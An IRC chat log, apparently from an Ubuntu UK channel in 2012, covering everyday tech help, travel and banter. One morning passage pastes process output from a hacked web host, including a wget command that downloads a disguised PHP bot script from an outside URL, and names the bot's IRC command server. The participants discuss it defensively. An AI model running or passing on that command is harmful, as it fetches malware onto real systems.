=== mgdm_ is now known as mgdm [00:22] how can any chat client think it a good idea to give exact versions in a quit 0o === gordonjc1 is now known as gordonjcp [00:28] daftykins: I guess it takes all of the annoying messages out of people trying to probe to find exactly what version you have [00:31] penguin42: :D [01:40] looks like a new php worm is doing the rounds [02:11] [Jono Bacon] Awesome Unity Contributions - http://www.jonobacon.org/2012/02/23/awesome-unity-contributions/ === joar_ is now known as CosmicB === Lcawte|Away is now known as Lcawte [07:39] choo choo [07:51] Bless you [07:53] morning all [08:01] Morning MooDoo [08:28] so, Waterloo to Canary Wharf without using the Jubilee line [08:28] any suggestions? [08:32] Morning all [08:32] And not a clue :) [08:33] Bloody web host server has died for second time in 2 weeks [08:33] :( [08:34] In there support ticket they say this is why you should get a VPS with us [08:34] Umm no, this is why we should move [08:34] AlanBell, then you have to go the DLR; CAnary Wharf's only on the DLR and Jubilee [08:34] AlanBell: River boat service. [08:35] so waterloo to bank on the waterloo, then the DLR. [08:35] or go on the river, like jpds says :) [08:35] or a cab :) [08:36] diplo: you using windows on it ;) [08:36] Seems they are actually being ddos'd or something [08:36] hmm no actually other way round [08:36] just joking mate... [08:36] 26017 ? SN 0:00 php Vivie [08:36] 26018 ? SN 0:00 sh -c wget http://www.buolkab.go.id/disbudpar/bogel.jpg -O Viv [08:37] 2 [08:37] buolkab php vivie [08:37] Search for that in google [08:37] Going for the boat [08:37] Site hacked by :) [08:37] ps ax is full of that above :( [08:37] so it's not the vps host, it's a cracked site? or am i reading this wrong? [08:38] I think they are using the reseller account to try and hack other sites myself [08:38] and basically killed it [08:39] so cracked site then....sigh, i hate them [08:39] bogel.jpg: PHP script, ASCII text, with very long lines, with CRLF line terminators [08:40] irc.vivie.biz is probably worth blocking, thats the irc server it connects to [08:40] Did you just grab the file ? [08:40] yes [08:42] We're stuck with webhosts but will pass this on cheers. [08:42] diplo: who you with? [08:43] Compila, some one else chose years ago [08:43] We have problems with them all the time, trying to talk our company into us hosting via a vps or something [08:43] http://www.compila.com/ [08:46] One of the guys at work want to go with this company http://www.daily.co.uk/products/virtual-private-servers/index.html [08:49] aloha [08:49] popey, had a read through the script ? [08:49] Basically going through loads of vulnerabilitys and PMing that IRC channel [08:51] then grabs a perl script from the irc channel and dumps it in /tmp [08:51] surely blocking outbound irc is the first step? [08:51] 99% of the time these people run everything on the default ports [08:51] Depends what port they run on I guess unless doing deeper inspection [08:51] 7000 for these guys [08:52] diplo: I recommend bitfolk ☺ [08:52] yeah, so just drop anything to 6000-7000 and 80 [08:52] heh I'm already trying with them [08:53] But what the others don't like is that others are cheaper, and as I keep telling them with Compila as an example, cheap != Good [08:53] BigRedS, I don't think they are competent enough :( [09:01] I am on a boat [09:01] choo choo [09:01] stop one upping me :P [09:01] not sure what sound a boat makes... splish splash? [09:02] AlanBell: lotta trains messed up this morning [09:04] czajkowski: Just this morning? [09:06] czajkowski: prod [09:06] it is a thames clipper so it goes whoosh [09:07] morning all [09:07] MooDoo: you great hippy ;) [09:07] morning davmor2 and thanks [09:08] davmor2: ello [09:08] AlanBell: aye love the chopper [09:09] clipper [09:13] czajkowski: You've seen AlanBell's chopper, but AlanBell you said you only cut up things in front of me :D [09:17] owdy all [09:23] How's we doing? [09:23] Speaking of travel, if anybody is heading up the M1, its closed between J9 and J11, 4 lorry accident according to BBC [09:27] Hellooooooo [09:29] whoooosh [10:04] oh my, the M1 was bad enough with all the roadworks :/ [10:07] morning [10:17] bigcalm: davmor2 how is the lighthouse? [10:18] czajkowski: according to chilly chilly mrevell fairly warm in comparison to last time [10:20] awwww please mind my boss and bring him coffeee! [10:22] No mrevell is old enough to get his own coffee :P [10:22] I have a wonderful team [10:22] so glad davmor2 isn't on it. [10:24] czajkowski: warm today. And this has to be the day I wear thermals. [10:24] Also, I need to add bigcalm to my highlight strings [10:26] mrevell: You're only jealous of my ability to be evil muhahahahahaha [10:27] seriously, what's the deal w/ this lighthouse [10:27] if someone is working from a lighthouse, please invite me [10:27] bigcalm_lappy: always the way :) [10:27] Haha [10:28] mattt, not an actual lighthouse [10:28] mattt: http://light-house.co.uk/ [10:28] mattt: If only this were the case. I think I should move to the coast [10:28] :~( [10:29] thought it was a proper lighthouse [10:30] mattt: where in the UK are you? [10:31] davmor2: gord: mrevell: coffee? [10:31] bigcalm_lappy: live outside reading, work west london [10:31] bigcalm_lappy, yes please [10:31] bigcalm_lappy: you? [10:31] mattt: bit far for our light house then sadly [10:31] bigcalm_lappy: No cappuccino please [10:31] Near Telford, Shropshire [10:31] oh gord is there [10:31] far too far [10:31] davmor2: that is a type of coffee :P [10:42] Sometimes, seemingly at random times, a "Search" bar opens at the top of my screen [10:42] (Unity, 12.04) [10:42] is that a bug, or some feature I don't know about? [10:43] it's just "Search", not the icons I get with it when I press the "windows" key [10:45] ah, it's the HUD [10:45] *disable* [10:46] good morning everyone, [10:47] \o [10:47] o/ [10:48] Does anybody here (as a business) use paypal to accept payments from customer? Just been asked whether it would be worth doing where I work, boss thinks it'll save on credit card charges etc, but I thought paypal took a charge from the person paying and a deduction from what they pay over to the seller [10:49] davmor2 is cheap [10:49] bigcalm_lappy: you've only just worked that out? ;) [10:49] MooDoo: I've just had verbal proof from the man himself [10:50] djones it is good for low value international payments [10:51] AlanBell: What do you class as low value? we'd be looking at anything from £1K to £100K, international and domestic [10:51] paypal has two major issues - they gouge you on fees, and if you start trading in any volume, they sit on payments for more than a month for "security" [10:52] Little bit rude, but I think most people here will find this hilarious: http://www.youtube.com/watch?v=j-kbMF1GF2A&hd=1 :D [10:54] I fear that there is a really vicious dentist in the cafe next to us [10:54] directhex: by volume, do you mean lots of small transactions, or just single large value transactions, ours would probably be occasional higher value transactions [10:55] DJones, either [10:55] Thanks, that wouldn't be good for us, as we get money and then can have to pay it out straight away to 3rd parties [10:56] also going by past experience of looking at what paypal do, if they don't like the organisation they stop kpayment transactions [10:56] and keep the money [10:57] I saw a few comments about that [10:58] A charity that was collecting funds for a disaster and one of the Minecraft dev's had $600K frozen === cking_ is now known as cking [11:03] czajkowski: make gord fix alt-tab he says won't for me make him go on make him :D [11:03] davmor2: you're the one sitting beside him [11:04] give him a dead arm till he fixes it [11:04] or else get no more coffee/tea allowed for him [11:04] No soup for you! [11:05] this is not a positive method of encouragement. i like money [11:05] I like not having a dead arm and tea when needed [11:05] :) [11:12] What would be the effects of using a 2.6.9.* kernel on a Xeon E5640 ? [11:12] I'm hoping issues with speed etc [11:23] Sometimes only Viking themed metal will do. [11:24] gah what worked for one solution wil not work for another and I am baffled as to know why [11:24] >:( [11:24] baffled/annoyed [11:30] diplo, real 2.6.9, or red hat 2.6.9? [11:33] Redhat ( CentOS 4.8 ) [11:34] We have a system that is really slow on new hardware, compared to old server [11:35] Reports that used to take 17mins now can take 40+ on a newer machine [11:35] Trying to track down the issue :) [11:35] Only issue I can think of now is kernel, but don't know if that would be the cause [11:43] \o/ lenovo guy been and left [11:43] I can haz new mobo [11:45] !hud [11:45] Ubuntu 12.04 LTS will include the first step in a major new approach to application interfaces, the Head-Up Display, or HUD, which will ultimately replace menus in Unity applications. See http://ubottu.com/y/hud for the background on this and discuss it in #ubuntu+1 or #ubuntu-offtopic [11:45] popey: Only 2 days late? [11:46] diplo, have you isolated which things specifically seem slow? cpu ops, networking, io? [11:46] diplo, red hat backport all the drivers ever to their rhel kernels, that's the only reason rhel is remotely useful. so it should be fine on new kit [11:47] does someone have the HUS ppa addr, i cant access the HUD ppa page on launchpad. [11:47] yeah, pretty sure it's cpu [11:47] diplo: what makes you think it's cpu ? [11:47] hdparm on discs etc are gettingmuch higher throughput [11:48] No full reason, and I'm stuck and that's why I'm asking I guess [11:48] Old server doesn't max CPU out this one does [11:48] yeah seeker [11:48] It's an idea really.. we've just about hacked our old system to work on cent6 now so hopefully going to test that [11:49] I've never had to do optimisation/checking of issues like this before [11:50] popey: Refund on "next day"? [11:50] nah [11:51] directhex / ikonia : Can you recommend anything to try and isolate the issues ? [11:51] guys, how do I know what devices are given network names in ubuntu [11:51] eg, lspci shows the ethernet deivce [11:51] * czajkowski waves at davmor2 bigcalm_lappy gord [11:51] how cna I see which alias it has? [11:52] * bigcalm_lappy hugs mrevell's screen to pass on a hug to czajkowski [11:55] andylockran: ip link show ? [11:56] * bigcalm_lappy slowly headbuts claws [11:56] mgdm \o/ [11:58] * davmor2 tickles czajkowski [12:08] ok, so, my mate's wubi install won't boot; the windows bootloader drops him to grub, and the grub prompt [12:09] after much exceedingly annoying research about how wubi boots with a loopback thingy and trying lots out... it still won't boot [12:09] bigcalm_lappy, I think gord should come every time, as he attracts davmor2's speech. [12:09] grub seems to think that the loopback file is an unknown filesyste, [12:09] Suggestions? These can include "repair it", if someone knows how. [12:09] mrevell: I agree [12:11] [Gareth France] Musings on the superiority of the Windows platform - http://cliftonts.co.uk/cubuntu/?p=101 [12:14] who even owns wubi? :) [12:15] Burnt my fingers squeezing a tea bag [12:15] Owie [12:17] diplo: sorry I was just on the phone, how are you getting on ? [12:17] Just about to try with SAR [12:17] Remembered it from my RS/6000 IBM days [12:17] See if i can get any info from that [12:17] diplo: I missed your response earlier, any reason you think it's cpu over something else ? [12:18] diplo: you'll get historical data better with sar rather than real time troubleshooting [12:18] No not really, I'm just not very good at diagnosing these issues, disc is a lot faster with hdparm [12:18] http://memegenerator.net/instance/14986844 [12:19] diplo: that's fine, it's not a critisism, just trying to get background info [12:19] diplo: tell me about these reports that are taking time to run, what sort of thing are they and how are they generated [12:19] Trying to find ways of working out how to find on the web is being rather fruitless unless you have a fair understanding to start with i think [12:20] From a acient ERP system written in a language called Simple [12:20] Uses Cisam DB backend [12:20] diplo: yes, I appreciate unless you look for how to fix $something searching for $whats_doing_this can be a problem [12:20] On old Server 5+ years old [12:20] takes 14 mins to run [12:20] New server takes 55 mins [12:20] diplo: is the data needed to create these reports ? [12:20] Yep, reads from the cisam db [12:21] diplo: ok is the cisam db, hosted locally or on a remote server ? [12:21] Local [12:21] It's basically exactly the same setup as old server apart from new hardware [12:21] Same OS version [12:21] diplo: ok, so an obvious first question for me is bench mark how quick you can get the data from the database [12:22] diplo: check it on the old machine, same query on the new machine [12:22] diplo: that way you know where if the delay is caused by the fetch or not and you can move onto the next thing [12:22] Good thinking, can write a simple program just to see if it's DB related [12:22] See, a fresh mind helps.. ta! [12:23] diplo: if it is/is not the DB we can then zero in on the DB, or dump it and move on to the next thing [12:25] Sounds good, trying to dive to deep to early [12:25] thanks ikonia [12:26] no problem, let me know if you need a hand [12:26] My simple skills are lacking somewhat but I don't think you really want to see that code :) [12:27] Simple by name, simple by nature as well.. really bad :) [12:27] as I've never heard of "simple" I suspect I would be useless [12:27] heh, it was used by a fair few companies. They have all since died and our company now owns/bought the license [12:27] So unless you work for us or have an old system that still uses the code you never will [12:46] ii shall have to do a mumbuntu test, with the new unity, and see what my mum thinks. [12:46] I would recommend trying it yourself first [12:46] i am doing so now. [12:46] and appraising yourself of all the features and shortcuts [12:46] agreed, [12:49] http://failblog.org/2012/02/23/epic-win-photos-win-wwf-win/ [12:49] === mrevell_ is now known as mrevell === tubadaz_ is now known as tubadaz [13:36] MOOO! [14:40] Boo! This is the ghost of s-fox @ davmor2 :D [14:43] aarrrrrrrrgggggghhhhhhhhhhhhh! [14:44] >:) [14:58] hi s-fox you ghosty you [14:58] o/ [15:04] :) [15:05] How are you MooDoo ? [15:10] s-fox: all the better from seeing you :) lol === TREllis_ is now known as TREllis [15:17] just found a laptop in a drawer running maverick [15:17] :) [15:17] impressive battery life [15:17] You forgot where you put the laptop popey ? [15:17] haha [15:17] first boot it wants to upgrade to natty ☺ [15:18] originally installed back in 2008 [15:21] probably reinstall, would be quicker than going 10.10 -> 11.04 -> 11.10 -> 12.04 [15:21] upgrading might catch bugs [15:21] true [15:21] but its a very slow machine [15:22] meh, its not busy, might as well upgrade [15:23] davmor2: having fun ;) [15:23] Aye [15:24] MooDoo, And I to0 for seeing you... [15:24] popey: good battery life [15:25] * bigcalm_lappy refuses to read up [15:35] anyone tried the LTS to LTS upgrade? [15:36] not yet, but will have to on my vps. [15:37] AlanBell: yes [15:37] on my hp microserver [15:40] lts -> lts is tested iirc [15:40] so i'd expect it to work well [15:41] so it is unlikely, i will trash my vps ? [15:42] upgrading is not something to take likely no matter how well tested if you ask me [15:42] agreed, i will backup. [15:43] * czajkowski tickles gord hello there... === exaem|zzz is now known as exaem [15:44] suspicious... [15:44] Suspicious tickles? [15:44] suspicious minds? [15:44] aw drat [15:45] Saw that coming :) [15:45] suspicious feet. [15:45] brobostigon: no that's happy feet ;) [15:45] MooDoo: :) [15:47] this laptop was last booted on 7th oct 2011 [15:47] squillions of updates [15:47] DJones: if using paypal you need to do the maths, for tranferring £2k to belgium it was much cheaper to use the bank, for £40/month or something like that from some small island somewhere paypal is a lot cheaper [15:51] Bit busy in the Light House this afternoon [15:51] pics plz [15:53] AlanBell: Customers are mostly uk/usa/europe, bank transfer works out cheapest anyway, boss was considering allowing people to pay from their paypal account, but after what he's read, that idea has been binned [15:54] Forum is back up btw, not that anyone was asking about it [15:55] yeah, bank transfers feel expensive, I think it is £17 or something (cheaper with internet banking) but it works out cheaper overall [15:56] for a company that tracks and sometimes initiates the downfall of nations, they have very poor coffee here [15:56] AlanBell: We're the recipient, so we don't get charged, just the payer gets charged [15:57] DJones: yeah, we switched to paypal for one customer as the bank was effectively charging them a 100% surcharge [15:58] AlanBell: Ouch [16:02] AlanBell, where is "here"? [16:03] davmor2 looks to be picking a fight with his laptop [16:03] bigcalm_lappy: £10 on the lappy [16:03] L:) [16:03] Haha [16:04] MooDoo: come over here a minute [16:12] davmor2: no thanks i value my chin [16:13] bigcalm_lappy: davmor2 mrevell one of ye whack gord please! [16:13] whyyyy [16:13] why'd ya think! [16:13] i'm too fantastic, its affecting your ability to think? [16:14] Heh [16:14] davmor2 was closest [16:14] * AlanBell supects bug 938764 or similar [16:14] Launchpad bug 938764 in unity (Ubuntu) "hud steals alt key from within virtualbox sessions" [High,Confirmed] https://launchpad.net/bugs/938764 [16:14] czajkowski: he's now in the corner crying why did I hit him [16:15] bloo hoohoo [16:16] gord: I wouldn't give their coffee a AAA rating [16:16] davmor2: my alt screen is driving me crazy [16:16] crazier [16:18] Hazar! last.fm has finally blessed my ears with some dub-step \o/ [16:19] * bigcalm_lappy slowly vibrates in his chair [16:19] blessed bigcalm_lappy !!! [16:19] I can't call it blessed! [16:19] :) [16:19] All hail the mighty dub-step! [16:20] The only way I can justify working here is that I know I can do a further 3-4 hours once I get home. And be more productive than the rest of the day [16:30] Off topic conversation here but do any of you guys use a DE safety razor? [16:32] Don't know what one is so I'll go with no [16:32] czajkowski: simple solution don't use an alternate screen :P [16:34] exaem: No I do not use a German safety razor. [16:38] DE? [16:44] Quitter [16:53] alright peeps [16:54] I don't suppose anyone has had any trouble upgrading to Precise? [16:54] http://pastie.org/private/e8bsbi51pcdozhmf6avqa :( [17:00] hi kazade [17:01] kazade: what mirror you using? [17:06] hi popey [17:06] main [17:06] I'll try UK, one sec [17:08] aha! [17:08] weird, I'd already tried two mirrors... [17:08] UK worked though, thanks popey [17:08] cool [17:10] how's things with you anyway popey? Enjoying Canonical? [17:12] yes ☺ [17:13] anyone at phpuk1@? [17:19] can someone remind me how to stop pulseaudio without it constantly respawning, please? [17:20] gordonjcp: /etc/pulse/client.conf [17:20] autospawn = no [17:20] cool, thanks [17:24] np [17:25] cool, I can start a jack server with no ports configured *at all* and add hardware in dynamically with alsa_in and alsa_out [18:14] question, if i do and install, from a persistant live-sd, do the changes i have made, carry, when i do an install from that? [18:25] * bigcalm falls into his office [18:26] choo choo [18:26] brobostigon: what, kind, of, changes? [18:27] celeron still upgrading to 11.04.. [18:29] What will do you do with it? [18:30] upgrade to 12.04 eventually [18:32] I meant what use will you have for it? [18:32] Evening [18:33] Morning [18:33] dunno [18:33] * daubers puts his feet up and plays skyrim [18:35] popey: networks setting, wifi specficlly. [18:37] networking* [18:38] yeah, i think so [18:38] thank you, that will make things easier. [18:39] * popey makes home made burgers [18:40] # [18:51] Laney: can we have pandoc 1.9 backported to Oneiric? :) [18:51] yes [18:51] I await your request :-) [18:52] I'll play with LP after my talk, then :) [18:52] well, it's not even in precise yet [18:52] ah [18:52] I'm rather hoping that cabal installs it reasonably fast, as I need 1.9 for about 20 mins from now [18:53] . o O ( or Debian ) [18:53] well this is an Oneiric laptop [18:53] the Mac at work has 1.9 from the package, which is handy [18:53] the pipeline is rather empty [18:53] mgdm: oauth 2.0 in php, done any? [18:54] I wrote stuff using dzslides, which isn't in 1.8 [18:54] bigcalm: nope [18:54] Oh well [18:54] * bigcalm wanders into it blindly :D [18:54] Have decided to use it to auth API calls [18:55] we're looking at it, but haven't implemented yet [18:55] http://code.google.com/p/oauth2-php/ is what I'm going to attempt to use [19:24] * daubers puts some music on and tries to sort out his arduino programming workflow [19:24] \o/ 'duino [19:24] /o\ workflow [19:25] * Laney flows all over [19:26] Tea! [19:37] daubers: What kind of workflow do you have? :) [19:38] none at the mo :) [19:38] daubers: I've not yet written huge programs, so 'apt-get install arduino' is still enough for me :) [19:38] (12.04 has 1.0!) [19:41] Arduino programs can't be too big anyway ;) [19:42] daubers: I'm hooking one of mine up to a WRT54GS (which has on-board serial ports) and some sensors [19:42] daubers: WRT -> collectd on NAS -> pretty graphses [19:42] MartijnVdS: I have 3 versions of arduino on this laptop as I haven't moved some of my sketches to 1.0 [19:43] daubers: Ah, I got my first arduino only a few weeks ago, when 1.0 was already out [19:43] ah :) [19:43] Only had to translate one example sketch (for a temperature/pressure sensor) [19:43] (Wire.read/write vs receive/send [19:44] yeah# [19:44] I'm just finishing off the hackspaces door [19:45] Then need to start work on an open source security system :) [19:45] OSSS [19:52] daubers: hall effect sensors/reed switches on the windows and doors, that kind of thing? [19:52] * popey hands bigcalm a php bug 61095 [19:52] Launchpad bug 59057 in tomboy "duplicate for #61095 Crash on tomboy applet starting" [Critical,Fix released] https://launchpad.net/bugs/59057 [19:52] daubers: lots of loud piezo buzzers? [19:52] bah [19:52] https://bugs.php.net/bug.php?id=61095 [19:54] popey: fun! ;) [19:55] MartijnVdS: Some of them, yep. RFID door access, considering some kind of nightingale floor system too (for giggles) [19:55]